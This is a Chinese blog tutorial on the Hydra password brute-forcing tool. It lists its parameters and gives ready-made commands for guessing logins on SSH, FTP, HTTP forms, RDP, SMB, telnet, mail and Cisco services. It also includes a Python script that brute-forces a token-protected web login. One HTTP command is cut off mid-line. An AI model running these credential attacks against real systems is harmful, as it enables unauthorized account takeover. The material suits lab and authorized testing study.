渗透测试工具篇——Hydra

渗透测试工具篇——Hydra

简介

Hydra是一款非常强大的暴力破解工具,它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限。

目前该工具支持以下协议的爆破:
AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。

对于 HTTP,POP3,IMAP和SMTP,支持几种登录机制,如普通和MD5摘要等。

常见参数

-R  继续从上一次进度接着破解
-S  大写,采用SSL链接
-s  <PORT>:小写,可通过这个参数指定非默认端口
-l  <LOGIN>:指定破解的用户,对特定用户破解
-L  <FILE>:指定用户名字典
-p  <PASS>:小写,指定密码破解,少用,一般是采用密码字典
-P  <FILE>:大写,指定密码字典
-e  <ns>:可选选项,n:空密码试探,s:使用指定用户和密码试探
-C  <FILE>:使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数
-M  <FILE>:指定目标列表文件一行一条
-o  <FILE>:指定结果输出文件
-f :在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t <TASKS>:同时运行的线程数,默认为16
-w <TIME>:设置最大超时的时间,单位秒,默认是30s
-v / -V:显示详细过程
server:目标ip
service:指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT:可选项

破解ssh

hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 5 10.96.10.252 ssh   #-L指定用户字典 -P 指定密码字典  -o把成功的输出到ssh

破解FTP

hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 10.96.10.208 ftp #-L指定用户名列表 -P指定密码字典 -o把爆破的输出到文件 

破解HTTP

GET方式:

hydra -L user.txt -P passwd.txt -o http_get.txt -vV 10.96.10.208 http-get-form "/vulnerabilities/brute/:username=^USER^&pas
#前面那些参数就不说了,主要说一下引号里面的数据 /vulnerabilities/brute/ 代表请求目录,用:分隔参数,^USER^和^PASS^代表是攻击

POST方式:

hydra -L user.txt -P passwd.txt -t 3 -o http_post.txt -vV 10.96.10.183 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login&user_token=dd6bbcc4f4672afe99f15b1d2c249ea5:S=index.php"
#前面那些参数就不说了,主要说一下引号里面的数据 /login.php 代表请求目录,用:分隔参数,^USER^和^PASS^代表是攻击载荷,S等于的

但是现在大部分web应用都采用token的方式,所以不能用hydra破解

可以采用网上的一个脚本

import urllib
import requests
from bs4 import BeautifulSoup
 
##第一步,先访问 http://127.0.0.1/login.php页面,获得服务器返回的cookie和token
def get_cookie_token():
    headers={'Host':'127.0.0.1',
             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
             'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
             'Connection':'keep-alive',
             'Upgrade-Insecure-Requests':'1'}
    res=requests.get("http://127.0.0.1/login.php",headers=headers)
    cookies=res.cookies
    a=[(';'.join(['='.join(item)for item in cookies.items()]))]   ## a为列表,存储cookie和token
    html=res.text
    soup=BeautifulSoup(html,"html.parser")
    token=soup.form.contents[3]['value']
    a.append(token)
    return a 
##第二步模拟登陆
def Login(a,username,password):    #a是包含了cookie和token的列表
    headers={'Host':'127.0.0.1',
             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
             'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
             'Connection':'keep-alive',
             'Content-Length':'88',
             'Content-Type':'application/x-www-form-urlencoded',
             'Upgrade-Insecure-Requests':'1',
             'Cookie':a[0],
             'Referer':'http://127.0.0.1/login.php'}
    values={'username':username,
            'password':password,
            'Login':'Login',
            'user_token':a[1]
        }
    data=urllib.parse.urlencode(values)
    resp=requests.post("http://127.0.0.1/login.php",data=data,headers=headers)
    return 
#重定向到index.php
def main():
    with open("user.txt",'r') as f:
        users=f.readlines()
        for user in users:
            user=user.strip("\n")                 #用户名
            with open("passwd.txt",'r') as file:
                passwds=file.readlines()
                for passwd in passwds:
                    passwd=passwd.strip("\n")   #密码
                    a=get_cookie_token()              ##a列表中存储了服务器返回的cookie和toke
                    Login(a,user,passwd)
                    headers={'Host':'127.0.0.1',
                              'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
                              'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                              'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                              'Connection':'keep-alive',
                              'Upgrade-Insecure-Requests':'1',
                              'Cookie':a[0],
                              'Referer':'http://127.0.0.1/login.php'}
                    response=requests.get("http://127.0.0.1/index.php",headers=headers)
                    if response.headers['Content-Length']=='7524':    #如果登录成功
                       print("用户名为:%s ,密码为:%s"%(user,passwd))   #打印出用户名和密码
                       break
if __name__=='__main__':
    main()

破解Https

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

破解telnet:

hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

其它

#破解teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

#破解cisco:

hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

#破解smb:
hydra -l administrator -P pass.txt 10.36.16.18 smb

#破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3

#破解rdp:
hydra ip rdp -l administrator -P pass.txt -V

#破解http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18

#破解imap:
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

下载
windows
教程
使用
web
参考
学习

posted @ 2019-06-27 09:56  tomyyyyy  阅读(506)  评论(0编辑  收藏  举报